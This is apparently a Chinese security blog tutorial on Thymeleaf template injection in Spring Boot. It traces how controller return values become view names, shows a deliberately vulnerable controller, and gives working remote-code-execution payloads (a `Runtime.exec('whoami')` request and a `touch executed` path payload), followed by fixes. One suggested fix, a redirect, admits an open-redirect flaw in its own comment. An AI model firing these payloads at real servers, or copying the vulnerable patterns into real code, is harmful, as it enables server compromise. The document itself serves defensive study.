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java 安全開發之 spring boot Thymeleaf 模板注入

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作者:寬字節安全
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0x01 Thymeleaf簡介

Thymeleaf是用於Web和獨立環境的現代服務器端Java模板引擎。類似與python web開發中的jinja模板引擎。順便說一句,Thymeleaf是spring boot的推薦引擎

0x02 基礎知識

Spring Boot 本身就 Spring MVC 的簡化版本。是在 Spring MVC 的基礎上實現了自動配置,簡化了開發人員開發過程。Spring MVC 是通過一個叫 DispatcherServlet 前端控制器的來攔截請求的。而在 Spring Boot 中 使用自動配置把 DispatcherServlet 前端控制器自動配置到框架中。

例如,我們來解析 /users 這個請求
java 安全開發之 spring boot Thymeleaf 模板注入

  1. DispatcherServlet 前端控制器攔截請求 /users
  2. servlet 決定使用哪個 handler 處理
  3. Spring 檢測哪個控制器匹配 /users,Spring 從 @RquestMapping 中查找出需要的信息
  4. Spring 找到正確的 Controller 方法后,開始執行 Controller 方法
  5. 返回 users 對象列表
  6. 根據與客戶端交互需要返回 Json 或者 Xml 格式

spring boot 相關註解

  • @Controller 處理 Http 請求
  • @RestController @Controller 的衍生註解
  • @RequestMapping 路由請求 可以設置各種操作方法
  • @GetMapping GET 方法的路由
  • @PostMapping POST 方法的路由
  • @PutMapping PUT 方法的路由
  • @DeleteMapping DELETE 方法的路由
  • @PathVariable 處理請求 url 路徑中的參數 /user/{id}
  • @RequestParam 處理問號後面的參數
  • @RequestBody 請求參數以json格式提交
  • @ResponseBody 返回 json 格式

Controller註解

@Controller 一般應用在有返回界面的應用場景下.例如,管理後台使用了 thymeleaf 作為模板開發,需要從後台直接返回 Model 對象到前台,那麼這時候就需要使用 @Controller 來註解。

RequestMapping註解

用來將一個controller添加至路由中

0x03 環境配置

https://github.com/veracode-research/spring-view-manipulation/

我們以spring boot + Thymeleaf模板創建一個帶有漏洞的項目。核心代碼如下

    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return  lang ; //template path is tainted
    }

代碼含義如下:用戶請求的url為path,參數名稱為lang,則服務器通過Thymeleaf模板,去查找相關的模板文件。

例如,用戶通過get請求/path?lang=en,則服務器去自動拼接待查找的模板文件名,為resources/templates/en.html,並返回給用戶的瀏覽器。

上面的代碼存在兩個問題:
1. 是不是存在任意文件讀取?
2. 是不是存在諸如模板注入的漏洞???

0x04 模板注入分析

spring boot如何查找controller這塊我們不分析,因為對於我們不重要。

spring boot在org.springframework.web.servlet.ModelAndView方法中,開始處理用戶的請求

    /**
     * This implementation expects the handler to be an {@link HandlerMethod}.
     */
    @Override
    @Nullable
    public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {

        return handleInternal(request, response, (HandlerMethod) handler);
    }

隨後在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle方法中,通過invokeForRequest函數,根據用戶提供的url,調用相關的controller,並將其返回值,作為待查找的模板文件名,通過Thymeleaf模板引擎去查找,並返回給用戶

    /**
     * Invoke the method and handle the return value through one of the
     * configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
     * @param webRequest the current request
     * @param mavContainer the ModelAndViewContainer for this request
     * @param providedArgs "given" arguments matched by type (not resolved)
     */
    public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
            Object... providedArgs) throws Exception {

        Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
        setResponseStatus(webRequest);

        if (returnValue == null) {
            if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
                disableContentCachingIfNecessary(webRequest);
                mavContainer.setRequestHandled(true);
                return;
            }
        }
        else if (StringUtils.hasText(getResponseStatusReason())) {
            mavContainer.setRequestHandled(true);
            return;
        }

        mavContainer.setRequestHandled(false);
        try {
            this.returnValueHandlers.handleReturnValue(
                    returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
        }
    }

在函數中,調用this.returnValueHandlers.handleReturnValue去處理返回結果。最終在org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue方法中,將controller返回值作為視圖名稱。代碼如下

    @Override
    public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
            ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {

        if (returnValue instanceof CharSequence) {
            String viewName = returnValue.toString();
            mavContainer.setViewName(viewName);
            if (isRedirectViewName(viewName)) {
                mavContainer.setRedirectModelScenario(true);
            }
        }

spring boot最終在org.springframework.web.servlet.DispatcherServlet#processDispatchResult方法中,調用Thymeleaf模板引擎的表達式解析。將上一步設置的視圖名稱為解析為模板名稱,並加載模板,返回給用戶。核心代碼如下
org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression

        final String viewTemplateName = getTemplateName();
        final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();


        final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

        final FragmentExpression fragmentExpression;
        try {
            // By parsing it as a standard expression, we might profit from the expression cache
            fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
        } catch (final TemplateProcessingException e) {
            throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
        }

0x05 不安全的java代碼

第一種:

    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return  lang ; //template path is tainted
    }

在查找模板中,引用了用戶輸入的內容

payload

GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8090
Connection: close

在這種情況下,我們只要可以控制請求的controller的參數,一樣可以造成RCE漏洞。例如我們可以控制document參數

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

0x06 修復方案

1. 設置ResponseBody註解

如果設置ResponseBody,則不再調用模板解析

2. 設置redirect重定向

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect

根據spring boot定義,如果名稱以redirect:開頭,則不再調用ThymeleafView解析,調用RedirectView去解析controller的返回值

3. response

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

由於controller的參數被設置為HttpServletResponse,Spring認為它已經處理了HTTP Response,因此不會發生視圖名稱解析

0x07 參考

  1. https://github.com/veracode-research/spring-view-manipulation/
  2. https://www.cnblogs.com/fishpro/p/spring-boot-study-restcontroller.html

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